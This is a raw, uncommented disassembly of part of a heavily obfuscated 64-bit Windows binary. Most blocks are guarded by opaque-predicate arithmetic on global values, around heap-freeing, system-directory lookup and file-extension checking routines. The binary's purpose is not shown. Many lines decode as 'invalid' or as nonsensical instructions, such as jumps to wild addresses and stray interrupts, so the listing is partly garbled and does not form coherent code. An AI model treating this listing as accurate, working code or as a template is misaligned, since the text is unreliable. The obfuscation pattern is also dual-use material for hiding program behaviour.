shr rcx, 0x3f
or ecx, 0x28af5650
cmp ecx, 0xd7bd4c9d
stc
popfq
invalid
mov ebp, 0xa0860fd7
add byte [rax], al
invalid
stc
popfq
movabs rbp, 0xe9000000a0860fd7
xlatb
add byte [rax], al
add byte [rbx - 0x168144fb], cl
mov eax, dword [0x141f3f4a8]
xor edx, edx
div dword [str.Zkf]
jmp 0x1400a76be
mov eax, dword [0x141f3f4a8]
xor edx, edx
div dword [str.Zkf]
nop word cs:[rax + rax]
mov eax, dword [0x141f3f4b0]
or eax, dword [0x141f3f4b4]
imul rax, rax, 0x22b97c9
shr rax, 0x39
imul eax, eax, 0xbbbc24b4
xor eax, 0x6701a442
cmp eax, 0x94d8e00a
jb 0x1400a7600
mov eax, dword [0x141f3f4b8]
xor edx, edx
div dword [0x141f3f4bc]
xor ebx, ebx
nop dword [rax]
mov eax, dword [0x141f3f4c0]
xor edx, edx
div dword [0x141f3f4c4]
or eax, 0xd6a164e6
add eax, 0xb131297d
xor eax, 0x713a859d
cmp eax, 0x1521ccf6
jb 0x1400a7640
jmp 0x1400a7567
sub rsp, 0x20
lea rcx, [0x141f4902c]
call fcn.140101410
add rsp, 0x20
jmp 0x1400a73b0
mov eax, dword [0x141f3f4d8]
mov ecx, dword [0x141f3f4dc]
lea r12d, [rax + rcx]
add r12d, 0x1178d146
or r12d, 0x47a16f83
add r12d, 0x33498c44
sub rsp, 0x20
mov rcx, rdi
call r15
add rsp, 0x20
cmp r12d, 0xd40decff
jbe 0x1400a76d0
sub rsp, 0x20
mov rcx, rdi
call r15
add rsp, 0x20
jmp 0x1400a7682
mov eax, dword [str.79q]
or eax, dword [0x141f3f4e4]
xor eax, 0x3ad97ae0
add eax, 0xce20021e
or eax, 0xd66dbd4e
cmp eax, 0x3b0a071d
jb 0x1400a76d0
nop word cs:[rax + rax]
mov eax, dword [0x141f3f4e8]
or eax, dword [0x141f3f4ec]
add eax, 0x2cf61d78
and eax, 0x2f3c5d32
cmp eax, 0x9fe6afd
je 0x1400a7700
cmp qword [rbx + 8], 0
je 0x1400a775e
mov rax, qword [rbx + 0x10]
xor ecx, ecx
nop word [rax + rax]
test cl, cl
jne 0x1400a7730
cmp rax, 0x11
jb 0x1400a7744
mov rdi, qword [rdi - 8]
xor eax, eax
test al, al
jne 0x1400a7740
mov rcx, qword [0x141f49060]
sub rsp, 0x20
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
mov rcx, qword [0x141f49060]
sub rsp, 0x20
xor ebx, ebx
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
jmp 0x1400a7567
mov ecx, dword [0x141f3f4f8]
or ecx, dword [0x141f3f4fc]
and ecx, 0xec441c8a
add ecx, 0x501c1d24
imul rax, rcx, 0x588f4baf
shr rax, 0x20
sub ecx, eax
shr ecx, 1
add ecx, eax
shr ecx, 0x1c
mov rsi, qword [r14]
mov eax, dword [rsi + 8]
dec eax
mov dword [rsi + 8], eax
cmp ecx, 0x32838b4d
jbe 0x1400a77c6
mov rax, qword [r14]
dec dword [rax + 8]
jmp 0x1400a777f
test eax, eax
jne 0x1400a7860
mov qword [rsi], 0
xor eax, eax
xchg byte [rsi + 0xc], al
cmp al, 2
jne 0x1400a7860
add rsi, 0xc
mov eax, dword [0x141f3f500]
sub eax, dword [0x141f3f504]
xor eax, 0xfe16c86a
imul rax, rax, 0x4e6ff1c9
shr rax, 0x3d
imul eax, eax, 0x5509362b
cmp eax, 0xc386e569
ja 0x1400a784d
mov eax, dword [0x141f3f508]
and eax, dword [0x141f3f50c]
mov edi, 0x8af416bb
imul rdi, rax
shr rdi, 0x3a
add edi, 0xf35d6a7b
xor edi, 0x9d7be124
sub rsp, 0x20
mov rcx, rsi
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
add rsp, 0x20
cmp edi, 0xa0ad35e4
jbe 0x1400a7860
sub rsp, 0x20
mov rcx, rsi
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
add rsp, 0x20
jmp 0x1400a780f
mov eax, dword [0x141f3f510]
xor edx, edx
div dword [0x141f3f514]
imul eax, eax, 0x47809b10
and eax, 0xafbbcf20
add eax, 0x6311ecd9
cmp eax, 0x583c1952
jb 0x1400a7860
test rbx, rbx
je 0x1400a6f9a
mov eax, dword [0x141f3f518]
imul eax, dword [0x141f3f51c]
add eax, 0xc928a77e
and eax, 0x644cee65
cmp eax, 0xf60387bd
ja 0x1400a78dd
mov eax, dword [0x141f3f520]
xor eax, dword [0x141f3f524]
add eax, 0xb72ca312
xor eax, 0x917f094e
mov ecx, 0xd92f1ecd
imul rcx, rax
shr rcx, 0x3e
ud2
ud2
dec dword [rax - 0x7d]
invalid
add byte [rax], al
mov rcx, qword [rbx + 0x10]
mov rax, qword [rbx + 0x20]
lea r8, [0x141f27360]
invalid
add dword [rcx + 0x63], ecx
adc al, 0x90
nop
movsxd rdx, dword [r8 + rdx*4]
add rdx, r8
mov r8, rsi
mov r9, rdi
jmp rdx
add ecx, 4
xor eax, eax
nop word cs:[rax + rax]
add byte [rax], al
test al, al
jne case.0x1400a7563.9
cld
jmp case.0x1400a3526.30
mov eax, dword [0x141f3f598]
sub eax, dword [0x141f3f59c]
jns 0x1400a7ba4
invalid
jns 0x1400a7b9e
add dword [rbx], ebp
add eax, 0x1e979e0
jns 0x1400a7ba4
invalid
imul rax, rax, 0x5e4f8b01
shr rax, 0x3e
imul eax, eax, 0x96a79efb
or eax, 0x4862b7f
cmp eax, 0x51c81360
invalid
adc ecx, eax
push rcx
ja 0x1400a7bb0
invalid
mov ecx, 2
jmp case.0x1400a3526.30
invalid
mov eax, dword [0x141f3f588]
xor edx, edx
div dword [0x141f3f58c]
xor eax, 0x1e9798e
xor eax, 0x1e9798e
add eax, 0x49939d78
xor eax, 0x86401d11
and eax, 0x86d29db5
mov ch, 0x9d
rol byte [rsi - 0x32b0bc3], cl
fidiv word [rdi - 0x24]
mov ch, 0x9d
rol byte [rsi - 0x32b0bc3], cl
fidiv word [rdi - 0x24]
jmp case.0x1400a3526.30
add byte [rax], al
add byte [rax], al
add byte [rbx - 0x1686f5fb], cl
or bh, byte [rcx - 0x17]
mov eax, dword [0x141f3f580]
imul eax, dword [0x141f3f584]
invalid
invalid
or bh, byte [rcx - 0x17]
add dword [rdi], ecx
scasd eax, dword [rdi]
add eax, 0x1e97907
invalid
invalid
jmp 0xd1158181
add eax, 0xd79910b
imul rax, rax, 0x53bab1af
shr rax, 0x3e
call 0x1b50489ce
or al, 0xe2
call 0x1b50489ce
or al, 0xe2
cmp eax, 0x6d77f517
jb 0x1400a7c70
jmp case.0x1400a3526.30
mov eax, dword [0x141f3f5a0]
xor edx, edx
div dword [0x141f3f5a4]
imul eax, eax, 0x8c6b2074
cmp eax, 0xbc6c691c
je case.0x1400a3526.30
mov r8, rsi
sub r8, rcx
enter 0xffffffffffff820f, 0x37
add dword [rax], eax
invalid
mov eax, 0x9192b099
nop dword [rax]
mov edx, dword [0x141f3f5b0]
sub edx, dword [0x141f3f5b4]
imul edx, edx, 0x1cdd6673
fstp qword [rcx + rax*4]
ret 0xa11
in al, dx
shr rdx, 1
imul rdx, rax
shr rdx, 0x39
invalid
cmp dword [rcx + 0x3228c8fa], eax
je case.0x1400a68a0.18
fstp qword [rcx + rax*4]
ret 0xa11
invalid
add rcx, rdi
mov r9, rcx
mov eax, dword [0x141f3f5b8]
xor edx, edx
div dword [0x141f3f5bc]
imul eax, eax, 0x12478228
cmp eax, 0x11f9b2e9
je 0x1400a7d50
test r8, r8
je 0x1400a7e21
nop word cs:[rax + rax]
mov eax, dword [0x141f3f5c0]
and eax, dword [0x141f3f5c4]
imul eax, eax, 0x773451bf
imul rax, rax, 0x413aa3b
shr rax, 0x3a
imul eax, eax, 0x7255670a
cmp eax, 0xc0ad7220
ja 0x1400a7d80
movzx ecx, byte [r9]
mov eax, dword [0x141f3f5c8]
xor edx, edx
div dword [0x141f3f5cc]
nop dword [rax]
mov eax, dword [0x141f3f5d0]
xor eax, dword [0x141f3f5d4]
imul rax, rax, 0x6726c479
shr rax, 0x3e
xor eax, 0x7d2fbcaf
imul eax, eax, 0x1554eea5
cmp eax, 0xb6dc495d
je 0x1400a7dc0
nop dword [rax]
cmp cl, 0x2f
sete r12b
mov eax, dword [0x141f3f5d8]
xor edx, edx
div dword [0x141f3f5dc]
add eax, 0xdee485ff
or eax, 0xcc5edf99
cmp cl, 0x5c
sete dl
cmp eax, 0x770ab8fd
je 0x1400a7df0
or r12b, dl
jmp 0x1400a7e24
xor r12d, r12d
mov eax, dword [0x141f3f5e0]
mov ecx, dword [0x141f3f5e4]
add eax, ecx
add eax, 0xf8d91cf6
or eax, 0x45f3402f
imul eax, eax, 0x76a606af
cmp eax, 0x4c9054cb
jne 0x1400a7e86
jmp 0x1400a7ef5
ud2
mov r13d, dword [0x141f3f5e8]
or r13d, dword [0x141f3f5ec]
add r13d, 0x582b3705
xor r13d, 0x7bd9548d
mov qword [r14], rdi
mov qword [r14 + 8], rsi
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [r14 + 0x10], xmm0
movups xmmword [r14 + 0x20], xmm1
mov rax, qword [rbx + 0x20]
mov qword [r14 + 0x30], rax
mov byte [r14 + 0x3a], r12b
mov word [r14 + 0x38], 0x200
sub rsp, 0x20
mov rcx, r15
mov rdx, r14
call fcn.1400a0f40
add rsp, 0x20
xor eax, eax
cmp byte [r15], 9
jne 0x1400a7eec
mov rax, qword [r15 + 8]
cmp r13d, 0x661f0653
jbe 0x1400a7f38
mov qword [r14], rdi
mov qword [r14 + 8], rsi
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [r14 + 0x10], xmm0
movups xmmword [r14 + 0x20], xmm1
mov rax, qword [rbx + 0x20]
mov qword [r14 + 0x30], rax
mov byte [r14 + 0x3a], r12b
mov word [r14 + 0x38], 0x200
sub rsp, 0x20
mov rcx, r15
mov rdx, r14
call fcn.1400a0f40
add rsp, 0x20
jmp 0x1400a7e86
mov rdx, qword [r15 + 0x10]
lea rsp, [rbp + 8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
ud2
adc byte [rcx], al
add byte [rax], al
jne 0x1400ab550
nop dword [rax]
mov eax, dword [0x141f3fbc8]
mov ecx, dword [0x141f3fbcc]
add eax, ecx
add eax, 0x8bde57d4
mov ecx, dword [0xd9eecf36]
xchg edx, eax
jmp 0xd0183f3a
mov ecx, dword [0xd9eecf36]
cmp eax, 0xa90ce618
jb 0x1400ab430
mov eax, esi
and eax, 3
cmp rax, 3
ja case.default.0x1400ab46c
lea rcx, [0x141f2737c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rbx, [rsi - 1]
mov r14, qword [rsi - 1]
mov eax, dword [0x141f3fbe0]
or eax, dword [0x141f3fbe4]
or eax, 0xf7cfeb7c
xor eax, 0xea7357cf
cmp eax, 0x73d8ca3d
ja 0x1400ab476
mov rsi, qword [rsi + 7]
mov rax, qword [rsi]
test rax, rax
je 0x1400ab4c3
mov rcx, r14
call rax
mov eax, dword [0x141f3fbe8]
xor edx, edx
div dword [0x141f3fbec]
xor eax, 0xa9faeb24
add eax, 0x204094c5
cmp eax, 0x40bc9be5
jb 0x1400ab4a4
mov eax, dword [0x141f3fbf0]
xor edx, edx
div dword [0x141f3fbf4]
imul eax, eax, 0x84ceb3d7
add eax, 0x3f33391a
and eax, 0xc488afcb
cmp eax, 0x9b326b7a
jb 0x1400ab4c3
mov rax, qword [rsi + 8]
mov ecx, dword [0x141f3fbf8]
or ecx, dword [0x141f3fbfc]
cmp ecx, 0x49d2e1f3
je 0x1400ab4ec
test rax, rax
je 0x1400ac2f6
cmp qword [rsi + 0x10], 0x11
jb 0x1400ab514
mov r14, qword [r14 - 8]
mov eax, dword [0x141f3fc00]
or eax, dword [0x141f3fc04]
imul eax, eax, 0xd5c1842a
xor eax, 0x6c6f6b91
imul eax, eax, 0xdf5445f8
cmp eax, 0xd203f23b
ja 0x1400ac2e2
jmp 0x1400ac2a3
mov eax, dword [0x141f3fb80]
xor edx, edx
div dword [0x141f3fb84]
add eax, 0xc9ad380d
shr eax, 2
imul rax, rax, 0x849cf53
iretd
or byte [r8 - 0x3f], cl
call 0x13fe4c2ad
and eax, 0xf703b73d
invalid
ja 0x1400ab550
mov rbx, qword [rsp + 0xb0]
mov r14, qword [rsp + 0xb8]
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rdx, rbx
call fcn.1400a1c80
test rax, rax
ror byte [rdi], 0x84
retf 0
invalid
ror byte [rdi], 0x84
retf 0
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov eax, dword [0x141f3fb88]
or eax, dword [0x141f3fb8c]
jmp 0xe02bbac0
sub al, 0x73
xor eax, 0x404dbec1
cmp eax, 0x383b3c1b
jmp 0xe02bbac0
ja 0x1400ab5b0
test rdx, rdx
je 0x1400ab668
cmp rbx, rdx
jbe 0x1400ab620
cmp byte [rsi + rdx], 0xbf
jg 0x1400ab641
jmp case.default.0x1400ab46c
mov eax, dword [0x141f3fbd0]
sub eax, dword [0x141f3fbd4]
cmp eax, 0x2444fac5
je case.0x1400ab46c.3
mov eax, dword [0x141f3fbd8]
sub eax, dword [0x141f3fbdc]
xor eax, 0x5b0c286f
add eax, 0x72bc96cc
or eax, 0x11b592a7
cmp eax, 0x90739a21
ja 0x1400ab5f9
jmp case.0x1400ab46c.0
mov eax, dword [0x141f3fb90]
and eax, dword [0x141f3fb94]
add eax, 0x1d4e8954
cmp eax, 0x65ab70bb
jb 0x1400ab620
cmp rbx, rdx
jne case.default.0x1400ab46c
mov eax, dword [0x141f3fb98]
sub eax, dword [0x141f3fb9c]
add eax, 0x577002d0
or eax, 0xaa03b1fa
xor eax, 0x9e0b1891
cmp eax, 0xcc2e0626
ja 0x1400ab641
cmp rbx, rdx
jb 0x1400ab66b
mov rbx, rdx
mov qword [rsp + 0x1f0], rdi
mov qword [rsp + 0x1f8], rsi
mov qword [rsp + 0x200], rbx
mov qword [rsp + 0x208], r14
lea rcx, [rsp + 0x1f0]
mov rdx, qword [rsp + 0x58]
mov r8, rbp
call fcn.14009bd30
cmp qword [rsp + 0x150], 1
je 0x1400ab6b8
lea rcx, [rsp + 0x1f0]
call fcn.1400a7f50
movabs rdi, 0x8000000000000000
nop word cs:[rax + rax]
mov eax, dword [0x141f3fba0]
imul eax, dword [str._r__]
xor eax, 0x914030
or eax, 0xdb6696c6
xor eax, 0xcd7abfe5
cmp eax, 0xc85d942e
ja 0x1400ab6d0
mov rsi, qword [rsp + 0x1f8]
nop dword [rax + rax]
mov eax, dword [0x141f3fba8]
and eax, dword [0x141f3fbac]
and eax, 0x8058e052
or eax, 0x2ea20b25
xor eax, 0x800d5e73
cmp eax, 0xccafa838
ja 0x1400ab700
mov r8, qword [rsp + 0x200]
lea rcx, [rsp + 0x160]
mov rdx, rsi
call fcn.1400b7d10
cmp qword [rsp + 0x1f0], 0
je 0x1400ab760
mov rcx, qword [0x141f49060]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop word [rax + rax]
mov eax, dword [0x141f3fbb0]
imul eax, dword [0x141f3fbb4]
add eax, 0xa5da36e7
or eax, 0xeacff7c9
cmp eax, 0xafaa3692
jb 0x1400ab760
mov rsi, qword [rsp + 0x160]
mov eax, 0xcb0b367f
nop dword [rax + rax]
mov ecx, dword [0x141f3fbb8]
xor ecx, dword [0x141f3fbbc]
shr ecx, 1
imul rcx, rax
shr rcx, 0x3c
add ecx, 0x6ce9db24
xor ecx, 0xb99f08cd
cmp ecx, 0x4e98dfb7
jb 0x1400ab790
cmp rsi, rdi
jne 0x1400ac0b4
mov eax, dword [0x141f3fbc0]
add eax, dword [0x141f3fbc4]
or eax, 0x210b7fb8
add eax, 0x606d052
cmp eax, 0x8c74fe03
jae 0x1400ab7c3
jmp case.0x1400ab46c.0
mov eax, dword [0x141f3fee8]
xor edx, edx
div dword [0x141f3feec]
add eax, 0xaa987df9
cmp eax, 0xd6437515
mov rcx, qword [rsp + 0x98]
jbe 0x1400abac0
mov qword [rcx], r14
mov qword [rcx + 0x10], 2
nop word cs:[rax + rax]
mov eax, dword [0x141f3fef0]
add eax, dword [0x141f3fef4]
xor eax, 0xa4608861
or eax, 0x589d7698
mov qword [rcx], r14
mov qword [rcx + 0x10], 2
cmp eax, 0x88bcb270
jb 0x1400abac0
cmp byte [rsp + 0x8e], 0
jne 0x1400abe0e
nop word cs:[rax + rax]
mov eax, dword [0x141f40870]
or eax, dword [0x141f40874]
or eax, 0x57d9ebbd
xor eax, 0x739cc79c
cmp eax, 0x69675de9
ja 0x1400abb00
mov rax, qword [rsp + 0x198]
test rax, rax
je 0x1400abb71
mov qword [rsp + 0x1f8], 0
mov qword [rsp + 0x200], rax
mov rcx, qword [rsp + 0x1b8]
mov qword [rsp + 0x208], rcx
mov qword [rsp + 0x218], 0
mov qword [rsp + 0x220], rax
mov qword [rsp + 0x228], rcx
mov eax, 1
jmp 0x1400abb76
xor eax, eax
xor r15d, r15d
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x210], rax
mov qword [rsp + 0x230], r15
lea rdi, [rsp + 0xa0]
lea rbx, [rsp + 0x1f0]
mov r15d, 0x8a854557
mov r12d, 0x85cefcad
mov r13, qword [sym.imp.KERNEL32.dll_HeapFree]
nop word cs:[rax + rax]
mov rcx, rdi
mov rdx, rbx
call fcn.1400b9b40
mov rsi, qword [rsp + 0xa0]
nop word cs:[rax + rax]
mov eax, dword [0x141f40878]
xor eax, dword [0x141f4087c]
or eax, 0xdca4fc8a
imul rax, r15
shr rax, 0x3e
imul eax, eax, 0x8dbd3fff
cmp eax, 0x4e53c699
je 0x1400abbe0
test rsi, rsi
je 0x1400abdb7
mov r14, qword [rsp + 0xb0]
imul rax, r14, 0x38
lea rbp, [rsi + rax]
add rbp, 0x168
cmp qword [rsi + rax + 0x168], 0
add byte [rax], al
je 0x1400abc90
mov r8, qword [rbp + 8]
mov eax, dword [0x141f40880]
xor edx, edx
div dword [0x141f40884]
add eax, 0xcea58002
or eax, 0xb5899313
cmp eax, 0xcd29db2b
jae 0x1400abc60
mov rax, qword [0x141f49060]
nop dword [rax + rax]
mov eax, dword [0x141f40888]
imul eax, dword [0x141f4088c]
add eax, 0xdc71d7a4
xor eax, 0x22484344
and eax, 0x3a5a6367
mov rcx, qword [0x141f49060]
cmp eax, 0x2fa29864
cwde
invalid
invalid
ja 0x1400abc60
xor edx, edx
call r13
nop
mov eax, dword [0x141f40890]
and eax, dword [0x141f40894]
add eax, 0x5a2122e0
pop rdx
and eax, 0x51ce5dcb
xor eax, 0xe9a925c0
cmp eax, 0xbeee5773
ja 0x1400abc90
mov rax, qword [rbp + 0x20]
nop word cs:[rax + rax]
mov ecx, dword [0x141f40898]
imul ecx, dword [0x141f4089c]
shr ecx, 1
imul rcx, r12
shr rcx, 0x3e
imul ecx, ecx, 0x48e5feac
cmp ecx, 0xcf5a0ae0
pop rdx
iretd
je 0x1400abcc0
test rax, rax
je 0x1400abd00
mov eax, 0xe1129dc5
nop dword [rax]
mov ecx, dword [0x141f408c0]
add ecx, dword [0x141f408c4]
imul rcx, rax
shr rcx, 0x3c
imul ecx, ecx, 0x6c1f1be8
cmp ecx, 0x6ca34fa7
ja 0x1400abdc0
mov r13, qword [rsp + 0x90]
nop word [rax + rax]
mov eax, dword [0x141f408c8]
or eax, dword [0x141f408cc]
imul eax, eax, 0x4b7cffb0
or eax, 0x7d6dfd5f
cmp eax, 0xbf31f0b0
ja 0x1400abdf0
mov eax, dword [r13]
mov ecx, 0xc0197013
nop word [rax + rax]
mov edx, dword [0x141f40868]
and edx, dword [0x141f4086c]
add edx, 0x95b87d8b
imul rdx, rcx
shr rdx, 0x3f
cmp edx, 0x87e27443
ja 0x1400abe20
cmp eax, 4
jae 0x1400b2fc0
movaps xmm6, xmmword [rsp + 0x5f0]
add rsp, 0x608
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
je 0x1400abea3
pop rax
mov qword [rsp + 0x118], rdi
jb 0x1400ac9ae
invalid
add byte [rax - 0x47], cl
pop rsp
add byte [rdi], bh
add byte [rdi], bh
add byte [rax + rax + 0x48], bl
lea eax, [rcx + 0x1d0000]
invalid
invalid
movabs rcx, 0x5c003f003f005c
lea rax, [rcx + 0x1d0000]
invalid
invalid
sbb eax, 0x63b4900
cmp rax, qword [r14]
je case.0x1400a7563.54
insb byte [rdi], dx
xor eax, eax
cmp rcx, qword [r14]
setne al
nop dword [rax]
mov ecx, dword [0x141f3fed8]
xor ecx, dword [0x141f3fedc]
or ecx, 0x49749746
je 0x1400abf0b
add ecx, 0xb4eecfce
or ecx, 0x7cd0d0c0
cmp ecx, 0x7d6b9e14
jb 0x1400abeb0
nop word cs:[rax + rax]
invalid
mov ecx, dword [0x141f3fee0]
and ecx, dword [0x141f3fee4]
xor ecx, 0xc82178a7
and eax, ecx
and eax, ecx
or ecx, 0x355e0548
cmp ecx, 0xb3b4fb6f
jb case.0x1400a4df4.66
test eax, eax
jne 0x1400ac9ae
nop dword [rax + rax]
mov eax, dword [0x141f3ffd0]
or eax, dword [0x141f3ffd4]
and eax, 0xd7ea7f04
imul eax, eax, 0xf724677a
or eax, 0x1963c7e8
cmp eax, 0x858efb7e
ja case.0x1400a7563.54
cmp rdi, 5
jae 0x1400abf40
xor esi, esi
jmp case.0x1400abf6f.68
cmp word [r14 + rdi*2 - 0xa], 0x2e
jne 0x1400ac0ad
invalid
add byte [rax], al
add byte [rcx + 0xf], al
mov bh, 0x44
jle 0x1400abf4b
movzx eax, word [r14 + rdi*2 - 8]
xor esi, esi
lea ecx, [rax - 0x42]
cmp ecx, 0x21
ja case.0x1400abf6f.68
lea rdx, [0x141f27424]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
movzx ecx, word [r14 + rdi*2 - 6]
xor edx, edx
test dl, dl
jne 0x1400abf79
or ecx, 0x20
cmp ecx, 0x61
jne 0x1400abfda
mov ecx, dword [0x141f3ffd8]
or ecx, dword [0x141f3ffdc]
add ecx, 0x7012a98d
cmp ecx, 0x8e13e772
jb 0x1400abf85
movzx ecx, word [r14 + rdi*2 - 4]
mov edx, dword [0x141f3ffe0]
or edx, dword [0x141f3ffe4]
xor edx, 0x52047104
and edx, 0x7384739e
xor edx, 0xa18fe6c2
cmp edx, 0xfa7e5144
ja 0x1400abfa5
mov sil, 1
or ecx, 0x20
cmp ecx, 0x74
je case.0x1400abf6f.68
cmp ax, 0x43
jne 0x1400ac0d0
mov eax, dword [0x141f3ffe8]
imul eax, dword [0x141f3ffec]
add eax, 0xf991add3
and eax, 0x1c22dc19
add eax, 0x221df835
cmp eax, 0x4afd3230
ja case.0x1400abf6f.67
mov eax, dword [0x141f3fff0]
xor eax, dword [0x141f3fff4]
imul eax, eax, 0xa1026374
add eax, 0x7106b00d
cmp eax, 0x57d78fd1
jb 0x1400ac007
movzx eax, word [r14 + rdi*2 - 6]
mov ecx, dword [0x141f3fff8]
and ecx, dword [0x141f3fffc]
imul ecx, ecx, 0xa2ab4dae
cmp ecx, 0x84610f40
je 0x1400ac02b
or eax, 0x20
cmp eax, 0x6d
jne 0x1400ac0c9
mov eax, dword [0x141f40000]
add eax, dword [0x141f40004]
xor eax, 0x31b078e
imul eax, eax, 0x72c60f8d
xor eax, 0x8f82568b
cmp eax, 0x1440b2d0
adc al, 0x72
invalid
movzx eax, word [r14 + rdi*2 - 4]
add eax, 0xffffffbc
mov ecx, dword [0x141f40008]
sub ecx, dword [0x141f4000c]
add ecx, 0xd8e6edc8
xor ecx, 0xf6071a67
imul ecx, ecx, 0xcdeb75fb
test eax, 0xffdf
sete sil
cmp ecx, 0x7ddac61e
jb 0x1400ac079
jmp case.0x1400abf6f.68
xor esi, esi
jmp case.0x1400abf6f.68
mov r14, qword [rsp + 0x168]
mov rdi, qword [rsp + 0x170]
jmp 0x1400ac98f
xor esi, esi
jmp case.0x1400abf6f.68
xor esi, esi
jmp case.0x1400abf6f.68
ud2
mov eax, dword [0x141f3fc08]
sub eax, dword [0x141f3fc0c]
cmp ecx, ebp
add dword [rcx - 0x40], ebp
stosb byte [rdi], al
movsd dword [rdi], dword [rsi]
jns 0x1400ac2ed
mov esi, 0xbe3110b9
imul rsi, rax
scasd eax, dword [rdi]
invalid
shr rsi, 0x3f
or esi, 0xe8b5e5d2
mov rcx, qword [0x141f49060]
int 0xe9
add dword [rcx], esi
ror byte [rbp - 0x77], cl
invalid
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp esi, 0xd92b6799
cdq
sub ebx, ecx
scasd eax, dword [rdi]
invalid
int 0xe9
add dword [rcx], esi
ror byte [rbp - 0x77], cl
invalid
cdq
sub ebx, ecx
jae 0x1400ac2f6
mov rcx, qword [0x141f49060]
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1400ac2a3
mov rcx, qword [0x141f49060]
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rsp + 0x120], 0
mov qword [rsp + 0x128], 2
mov qword [rsp + 0x130], 0
add byte [rcx - 0x48], al
add byte [rdx], al
add byte [rax], al
mov eax, 2
mov qword [rsp + 0x60], rax
xor eax, eax
mov qword [rsp + 0x70], rax
mov r15, qword [sym.imp.KERNEL32.dll_SetLastError]
mov r14, qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov r12, qword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov qword [rsp + 0x78], rax
xor ebp, ebp
nop word cs:[rax + rax]
cmp r8, 0x201
jae 0x1400ac3a0
mov eax, 0x200
mov qword [rsp + 0x68], rax
lea rbx, [rsp + 0x1f0]
mov rsi, r8
jmp 0x1400ac420
sub r8, rbp
nop word cs:[rax + rax]
mov eax, dword [0x141f3fc10]
and eax, dword [0x141f3fc14]
add eax, 0x8763c79d
and eax, 0xf590038c
cmp eax, 0x180d1f0e
ja 0x1400ac3b0
mov rax, qword [rsp + 0x78]
sub rax, rbp
cmp r8, rax
mov esi, 0xffffffff
mov rbx, qword [rsp + 0x60]
ja 0x1400ac574
mov word [rcx], es
add byte [rax], al
mov rax, qword [rsp + 0x70]
cmp rax, rsi
mov ebp, 0xffffffff
cmovb rbp, rax
mov qword [rsp + 0x130], rbp
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x68], rbp
mov qword [rsp + 0x60], rbx
mov dword [rsp + 0x60], ebx
mov rsi, rbp
nop word cs:[rax + rax]
mov r13d, dword [0x141f3fc18]
imul r13d, dword [0x141f3fc1c]
or r13d, 0x77efed38
add r13d, 0xfb834c34
xor ecx, ecx
call r15
mov rcx, rbx
mov edx, esi
call r14
cmp r13d, 0x85e073ef
ja 0x1400ac420
mov edi, eax
test eax, eax
jne 0x1400ac464
call r12
test eax, eax
jne 0x1400ac88f
mov r8d, edi
cmp rsi, r8
jne 0x1400ac540
mov eax, dword [0x141f3fc48]
sub eax, dword [0x141f3fc4c]
or eax, 0xb37e2382
xor eax, 0x4dd58524
imul edi, eax, 0xe363f2c2
call r12
cmp edi, 0x86d82c0c
je 0x1400ac470
mov edx, 0xffffffff
nop dword [rax]
invalid
mov ecx, dword [0x141f3fc50]
sub ecx, dword [0x141f3fc54]
imul ecx, ecx, 0x9e1c8e19
cmp ecx, 0x790f8c33
je 0x1400ac4a0
nop word [rax + rax]
mov ecx, dword [0x141f3fc58]
or ecx, dword [0x141f3fc5c]
or eax, 0x1e93790
add ecx, 0x57597047
and ecx, 0xa23c6ded
imul ecx, ecx, 0x32a9134e
cmp ecx, 0x71db4dd4
invalid
invalid
invalid
jno 0x1400ac55c
invalid
cmp eax, 0x7a
jne case.default.0x1400ab46c
lea rax, [rsi + rsi]
nop word cs:[rax + rax]
mov ecx, dword [0x141f3fc68]
sub ecx, dword [0x141f3fc6c]
and ecx, 0x799676a6
jbe 0x1400ac4a7
jns 0x1400ac57c
leave
test dword [rbx - 0x3e7e977f], edi
rcr dword [rax + rdx*8 - 0x17eb739], cl
invalid
invalid
invalid
jg 0x1400ac56f
mov eax, eax
cmova r8, rdx
cmp ecx, 0x7d5f3287
ja 0x1400ac500
jmp 0x1400ac370
mov rdi, qword [rsp + 0x58]
nop word cs:[rax + rax]
mov eax, dword [str._nfeuVavu]
add eax, dword [0x141f3fc64]
imul eax, eax, 0x44cdee79
cmp eax, 0x577ede6
je 0x1400ac550
cmp rsi, r8
jb 0x1400ac370
jmp 0x1400ac5ad
mov qword [rsp + 0x20], 2
mov r9d, 2
lea rcx, [rsp + 0x120]
mov rdx, rbp
call fcn.1401035b0
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x70], rax
mov rbx, qword [rsp + 0x128]
jmp 0x1400ac3e8
cmp qword [rsp + 0x68], r8
jb 0x1400ac8dc
lea rsi, [rsp + 0xa0]
mov rcx, rsi
mov rdx, rbx
call fcn.1400918d0
mov rcx, rsi
mov rdx, rdi
mov r8, qword [rsp + 0x110]
call fcn.14009bd30
cmp qword [rsp + 0x150], 1
je 0x1400ac679
mov eax, dword [0x141f3fc70]
xor edx, edx
div dword [0x141f3fc74]
imul eax, eax, 0x542dd5f1
and eax, 0xf102146f
add eax, 0xc13d1b25
cmp eax, 0xbb97f3d4
jbe 0x1400ac61f
lea rcx, [rsp + 0xa0]
call fcn.1400a7f50
lea rsi, [rsp + 0xa0]
